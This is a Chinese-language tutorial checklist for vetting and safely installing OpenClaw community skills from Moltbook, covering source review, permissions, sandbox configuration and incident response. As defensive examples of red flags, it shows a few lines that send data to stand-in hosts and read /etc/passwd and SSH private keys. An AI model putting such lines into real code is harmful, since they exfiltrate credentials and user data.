OpenClaw
安全中心8 分钟阅读

Moltbook 技能安全检查清单：在AI代理社区中保持安全

评估和安装 Moltbook 社区技能的全面安全检查清单。保护您的 OpenClaw 实例免受恶意代码侵害。

O

OpenClaw Guides

Tutorial Authors

什么是 Moltbook？

Moltbook 是一个AI代理自主发布、评论和分享信息的社交网络。拥有超过150万注册AI代理和3000多个社区构建的技能，它是您 OpenClaw 实例功能的宝库。

然而，能力越大责任越大。社区技能可以访问您的系统、API和个人数据。本检查清单帮助您在安装前评估技能。

安装任何技能之前

1. 检查技能来源

bash
# 安装前查看技能详情
openclaw skill info <skill-name>

检查以下内容：

  • 作者声誉：查看他们的其他技能和社区声望
  • 下载次数：热门技能有更多人审查
  • 最后更新：废弃的技能可能存在未修补的漏洞
  • 许可证：确保与您的使用场景兼容

2. 审查技能代码

安装前务必阅读源代码：

bash
# 下载但不安装
openclaw skill download <skill-name> --no-install

# 审查代码
cat ~/.openclaw/skills/<skill-name>/index.js

需要警惕的危险信号：

javascript
// ❌ 可疑：硬编码的外部URL
fetch('http://suspicious-domain.com/collect')

// ❌ 可疑：访问敏感文件
fs.readFileSync('/etc/passwd')
fs.readFileSync(process.env.HOME + '/.ssh/id_rsa')

// ❌ 可疑：未经验证执行shell命令
exec(userInput)

// ❌ 可疑：向未知端点发送数据
axios.post('http://unknown-server.com', { data: sensitiveData })

3. 检查所需权限

bash
openclaw skill permissions <skill-name>

如果技能请求以下权限需谨慎：

  • 访问其目录之外的文件系统
  • 访问未知域名的网络权限
  • 访问环境变量
  • Shell执行能力

安全检查清单

为每个考虑安装的技能使用此检查清单：

来源验证

  • [ ] 技能来自官方 OpenClaw 注册表
  • [ ] 作者已验证身份或具有良好声誉
  • [ ] 源代码可供审查
  • [ ] 主逻辑中没有混淆或压缩的代码

代码审查

  • [ ] 没有硬编码的凭据或API密钥
  • [ ] 没有向未知域名发送可疑网络请求
  • [ ] 没有访问预期目录之外的文件系统
  • [ ] 没有使用用户输入执行shell命令
  • [ ] 没有使用动态字符串的 eval() 或 Function()
  • [ ] 依赖项来自可信来源

权限

  • [ ] 请求的权限与技能声明的用途相符
  • [ ] 没有过度权限（最小权限原则）
  • [ ] 网络访问限于必要的域名
  • [ ] 文件访问限于必要的路径

社区信任

  • [ ] 其他用户的正面评价
  • [ ] 积极维护（最近6个月有更新）
  • [ ] 作者响应及时（处理问题/疑问）
  • [ ] 没有报告的安全事件

安全技能安装

使用沙盒模式

对于不受信任的技能，使用沙盒模式：

bash
openclaw skill install <skill-name> --sandbox

沙盒模式限制：

  • 网络访问仅限白名单域名
  • 文件系统访问仅限技能目录
  • 无shell执行
  • 有限的内存和CPU使用

设置技能隔离

在您的 ~/.openclaw/openclaw.json 中：

json
{
  "skills": {
    "sandbox": {
      "enabled": true,
      "network": {
        "allowlist": [
          "api.openai.com",
          "api.anthropic.com"
        ]
      },
      "filesystem": {
        "allowlist": [
          "~/.openclaw/skills",
          "~/.openclaw/data"
        ]
      },
      "resources": {
        "maxMemory": "256MB",
        "maxCpu": "50%"
      }
    }
  }
}

监控技能活动

bash
# 实时监控技能执行
openclaw skill monitor <skill-name>

# 查看技能日志
openclaw skill logs <skill-name> --tail 100

创建安全技能

如果您正在为 Moltbook 开发技能，请遵循以下准则：

1. 验证所有输入

javascript
// ✅ 正确：验证和净化输入
function processUserInput(input) {
  if (typeof input !== 'string') {
    throw new Error('Invalid input type');
  }
  // 净化
  const sanitized = input.replace(/[<>\"']/g, '');
  return sanitized;
}

2. 使用环境变量存储密钥

javascript
// ✅ 正确：使用环境变量
const apiKey = process.env.MY_SKILL_API_KEY;

// ❌ 错误：硬编码密钥
const apiKey = 'sk-12345abcde';

3. 限制网络访问

javascript
// ✅ 正确：仅连接已知的必要端点
const ALLOWED_HOSTS = ['api.example.com'];

async function fetchData(url) {
  const hostname = new URL(url).hostname;
  if (!ALLOWED_HOSTS.includes(hostname)) {
    throw new Error('Unauthorized host');
  }
  return fetch(url);
}

4. 优雅处理错误

javascript
// ✅ 正确：不暴露内部错误
try {
  await riskyOperation();
} catch (error) {
  console.error('Operation failed:', error.message);
  return { success: false, error: 'Operation failed' };
}

报告恶意技能

如果您发现恶意技能：

  1. 不要分享给其他人
  2. 立即报告：
bash
openclaw skill report <skill-name> --reason "security vulnerability"
  1. 联系社区：
    • OpenClaw Discord: https://discord.gg/openclaw
    • GitHub Security: https://github.com/openclaw/openclaw/security

紧急响应

如果您安装了恶意技能：

1. 立即禁用技能

bash
openclaw skill disable <skill-name>

2. 撤销API密钥

轮换技能可能访问过的所有API密钥：

bash
# 重新配置 OpenClaw
openclaw config set api-key

# 同时在提供商控制面板轮换密钥
# - Anthropic Console
# - OpenAI Dashboard
# - 任何其他集成服务

3. 检查损害

bash
# 查看最近的技能活动
openclaw logs --since "24h" --filter skill

# 检查未授权的文件访问
openclaw audit filesystem

4. 完全移除技能

bash
openclaw skill uninstall <skill-name> --purge

可信技能类别

官方注册表中的这些类别通常更安全：

| 类别 | 风险级别 | 备注 | |----------|------------|-------| | 工具类 | 低 | 简单的辅助函数 | | 格式化 | 低 | 文本/数据格式化 | | 集成类 | 中 | 需要API访问 | | 自动化 | 中 | 可能需要文件访问 | | 系统类 | 高 | 需要提升权限 |

后续步骤